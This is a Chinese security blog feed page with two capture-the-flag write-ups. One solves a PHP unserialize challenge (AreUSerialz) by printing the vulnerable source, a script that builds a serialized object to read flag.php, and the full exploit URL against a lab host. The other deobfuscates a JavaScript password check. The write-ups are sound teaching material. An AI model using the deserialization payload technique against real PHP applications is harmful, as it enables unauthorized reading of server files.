BoyChai's Blog - 网络安全 https://blog.boychai.xyz/index.php/tag/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/ [代码审计]网鼎杯_2020_青龙组_AreUSerialz https://blog.boychai.xyz/index.php/archives/67/ 2023-10-16T02:16:00+00:00 题目buuoj-网鼎杯_2020_青龙组_AreUSerialz源码<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }分析一看这个题目就是一道反序列的题目,上面定义了一个FileHandler类,之后定义了一个is_valid方法,这个方法的目的是过滤字符串,ord函数是转换ASCII码,32-125区间基本上就是所有字母数字和符号了,之后最后面这个是get获取一个str的值,之后检测是否是字符串,之后把字符串进行序列化。接下来详细看看FileHandler类: class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } }分析了一下代码,output、read、write方法都需要通过process方法来触发,output代码如下 private function output($s) { echo "[Result]: <br>"; echo $s; }很简单没啥好说的,就是输出传入的内容。read方法代码如下, private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }是去调用file_get_contents方法来读取filename变量里的文件,之后返回读取的内容。再看看write方法 private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }显示content不能大于100的长度,之后将content的内容写入filename,写入之后输出Successful!否则都是Failed!,再看看process方法 public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }如果op=1则会进行写内容,如果等于2回去执行read()方法之后输出读取的内容,否则就输出"Bad Hacker!"。分析完基本的函数之后可以知道三个变量的作用 protected $op; protected $filename; protected $content;op是用来定义操作模式的,1是写2是读,filename是文件名称文件位置,content是写入时的内容。再看看两个魔法函数__construct()是构造函数__destruct()销毁函数,销毁的时候会触发。构造函数在这里没用主要看这个销毁函数,代码如下 function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }也没啥东西,这里有个误导,就是里面的那个判断,他这个判断是三个等号的,会先判断类型,他这里判断的是字符串的2,之后content传入什么都无所谓了,剩下的就会交给process处理。解题分析完代码思路就清晰了,我们需要反序列化出一个FileHandler,内容op需要等于2,filename需要等于flag.php即可拿到falg。解题方式如下<?php class FileHandler { public $op = 2; public $filename = "flag.php"; public $content = "xd"; } $a = new FileHandler(); $flag= serialize($a); echo $flag; /// output O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}之后请求http://7952a287-fef7-4773-9245-e58b63cba8f5.node4.buuoj.cn:81/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;s:2:%22xd%22;}网页显示返回为空直接查看源代码拿到flag?php $flag='flag{a0ad20b0-919b-479a-b2e8-78afe8be30cc};补充为什么不使用protected来序列化?PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。 作者:很菜的wl https://www.bilibili.com/read/cv18129820/ 出处:bilibili [代码审计]攻防世界-simple_js https://blog.boychai.xyz/index.php/archives/65/ 2023-10-08T01:26:00+00:00 题目叫做simple_js,题目描述为小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} )打开网页之后是一个输入密码的框,自己随便输入点内容页面显示FAUX PASSWORD HAHA,自己肯定时没密码的,直接看源代码,核心代码如下function dechiffre(pass_enc){ var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65"; var tab = pass_enc.split(','); var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length; k = j + (l) + (n=0); n = tab2.length; for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i])); if(i == 5)break;} for(i = (o=0); i < (k = j = n); i++ ){ o = tab[i-l]; if(i > 5 && i < k-1) p += String.fromCharCode((o = tab2[i])); } p += String.fromCharCode(tab2[17]); pass = p;return pass; } String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30")); h = window.prompt('Enter password'); alert( dechiffre(h) );上面定义了一个dechiffre(pass_enc)的函数,String["fromCharCode"](dechifre("xxx"))这个是把ASCII内容转换成字符串。剩下的就是打开页面之后都会出现的内容,参考意义不大,这里直接分析上面的这个函数函数里面先定义了一个pass,内容如下70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65大概率就是ASCII码,之后又定义了一个tab,内容如下var tab = pass_enc.split(',');pass_enc是传入的值,通过split(',')进行切割,现在tab是一个数组,之后定义了一个tab2,内容如下var tab2 = pass.split(',');对pass进行分割现在tab2也是个数组,之后定义了其他的一些变量,如下var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;k = j + (l) + (n=0);n = tab2.length;这里真是懵,最开始看的时候以为i,j,k,l都是0,一想不对。。。最开始ijkmno都应该是undefined之后i又被赋值了0,j被赋值了tab变量的长度,最后就是k,m,o是undefined之后i=0,l=0,p="",j=tab.length,k=tab.length,n=tab2.length,赋完值之后进行了一个for循环,代码如下for(i = (o=0); i < (k = j = n); i++ ){ o = tab[i-l]; p += String.fromCharCode((o = tab2[i])); if(i == 5)break; } // 精简过后代码如下 for(i=0;i<tab2.length;i++){ // o=tab[i]; p += String.fromCharCode(tab2[i]); if(i==5)break; }p += String.fromCharCode(tab2[i]);这段主要是这个代码,之后又经过了一个for循环,代码如下for(i = (o=0); i < (k = j = n); i++ ){ o = tab[i-l]; if(i > 5 && i < k-1) p += String.fromCharCode((o = tab2[i])); } // 精简过后代码如下 for(i=0;i<tab2.length;i++){ // o = tab[i] if (i>5&&i<(tab.length-1))p + = String.fromCharCode(tab2[i]); }p += String.fromCharCode(tab2[i]);这段主要是这个代码,和上段基本一样,方法最后返回下面内容 p += String.fromCharCode(tab2[17]); pass = p;return pass;他把tab2的第17个值转换成了字符串,并返回了p,这代码这是在闹着玩,弄到底也没处理传入的值,我服了😅,这代码的主要的作用就是把上面的ASCII转换成字符,直接转换pass变量发现内容为FAUX PASSWORD HAHA,看样子知道题目的答案就是把传入函数的那传Hex编码转换成字符串\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30转换之后变成这样55,56,54,79,115,69,114,116,107,49,50转换成字符串变成这样786OsErtk12这道题目的答案即Cyberpeace{786OsErtk12} CDN绕过思路 https://blog.boychai.xyz/index.php/archives/60/ 2023-08-07T13:10:00+00:00